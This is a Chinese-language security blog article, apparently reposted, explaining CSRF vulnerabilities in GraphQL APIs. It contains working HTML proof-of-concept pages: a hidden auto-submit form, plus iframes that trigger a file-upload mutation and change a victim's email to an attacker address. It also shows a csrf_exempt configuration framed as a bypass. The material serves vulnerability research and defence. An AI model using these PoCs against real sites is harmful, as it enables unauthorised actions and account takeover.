vlambda博客
学习文章列表

GraphQL查询语言中的CSRF漏洞

点击上方 蓝字 关注我们


概述


GraphQL是一个用于API的开源查询语言,允许客户端只请求其所需的数据,没有任何冗余。一个GraphQL操作可以是一个查询、修改以及订阅。

CSRF跨站点请求伪造是一种攻击,它迫使受害者或用户代表攻击者在服务器上执行恶意请求。该攻击之所以有效,是因为浏览器发出的任何Web请求都将自动包含受害者登录网站时创建的任何cookie(包括会话cookie和其他cookie)。

GraphQL中的CSRF


一、基于POST的CSRF

POST请求通常会更改应用程序状态,因此通常被作为CSRF的攻击目标。GraphQL端点通常只接受设置为 application/json 的Content-Type标头,以防止CSRF攻击。但由于多层中间件可能会转换其他格式的传入请求,例如查询参数 application/x-www-form-urlencoded multipart/form-data ,因此GraphQL实现通常会受CSRF影响。一些开发人员可能会因为无法从URL编码请求中创建JSON,而放弃实施CSRF保护,从而创建了易于利用的攻击面。

例如,攻击者可以使用简单的 application/json POST请求发出有效的GraphQL查询:

OST /graphql HTTP/1.1Host: redactedConnection: closeContent-Length: 100accept: */*User-Agent: ...content-type: application/jsonReferer: https://redacted/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: ...
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}

由于中间件的作用,通常情况下服务器会接受与 form-urlencoded POST请求相同的请求:

POST /graphql HTTP/1.1Host: redactedConnection: closeContent-Length: 72accept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: https://redactedAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: ...
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

这里可以直接选择Burp Suite的Generate CSRF PoC生成,如下图所示:

GraphQL查询语言中的CSRF漏洞

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://redacted/graphql" method="POST"> <input type="hidden" name="query" value="&#123;&#10;&#32;&#32;user&#32;&#123;&#10;&#32;&#32;&#32;&#32;firstName&#10;&#32;&#32;&#32;&#32;&#95;&#95;typename&#10;&#32;&#32;&#125;&#10;&#125;&#10;" /> <input type="submit" value="Submit request" /> </form> </body></html>

尽管以上PoC示例仅显示了无害的查询,但在实际情况中GraphQL可对请求的数据进行修改(写操)

二、基于GET的CSRF

研究人员在GraphiQL中发现了两个常见的问题。第一个问题是对查询和修改(写操作)都使用GET请求。

例如,研究人员发现有些应用程序公开了GraphiQL控制台。GraphiQL仅适用于开发环境。如果配置不当,它可能会被滥用以对受害者执行CSRF攻击,从而导致浏览器发出任意查询或修改请求。而实际上,GraphiQL确实允许通过GET请求进行修改。

GraphQL查询语言中的CSRF漏洞


尽管标准Web应用程序中的CSRF通常仅影响少数端点,但GraphQL中的相同问题通常是系统性的。


为了举例说明,研究人员为处理文件上传功能的修改提供了PoC概念证明:


<!DOCTYPE html><html><head> <title>GraphQL CSRF file upload</title></head> <body> <iframe src="https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D"></iframe> </body></html>


第二个问题是由于状态更改的GraphQL操作,在查询中被置于错误的位置(通常是非状态变化的)。实际上,大多数GraphQL服务器实现都遵循这种范例,甚至可以通过GET HTTP方法阻止任何类型的修改。


研究人员发现以下查询发出了状态更改操作:


req := graphql.NewRequest(` query SetUserEmail($email: String!) { SetUserEmail(user_email: $email) { id email } }`)


鉴于id值很容易猜到,我们能够创建CSRF PoC:


<!DOCTYPE html><html> <head> <title>GraphQL CSRF - State Changing Query</title>  </head> <body> <iframe width="1000" height="1000" src="https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D"></iframe> </body></html>


尽管最常用的GraphQL服务器都具有对CSRF攻击的防护机制,但某些情况下,可以对其进行绕过。例如,如果GraphQL端点使用了graphene-django,可以利用以下方法绕过CSRF防护:


urlpatterns = patterns( # ... url(r'^graphql', csrf_exempt(GraphQLView.as_view(graphiql=True))), # ...)


研究人员对30个使用GraphQL的端点中对以上漏洞进行了测试。测试结果表明有17个端点易受到CSRF攻击。



END




好文!必须在看